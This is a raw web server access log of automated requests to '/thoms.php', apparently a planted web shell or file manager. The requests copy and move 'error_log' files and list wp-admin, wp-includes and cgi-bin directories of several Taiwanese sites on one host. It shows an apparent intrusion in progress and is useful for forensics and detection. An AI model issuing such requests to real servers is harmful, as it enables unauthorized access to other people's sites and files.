45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13406 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13267 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13973 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14097 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13618 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28769 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13265 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:09 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13758 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12038 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17368 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12586 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13865 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13282 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:10 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17382 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13408 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13781 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59256 "https://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17382 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12600 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:11 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13446 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13108 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14184 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17379 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14119 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12045 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28715 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "https://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:12 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13752 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:13 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw%2Fclient-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
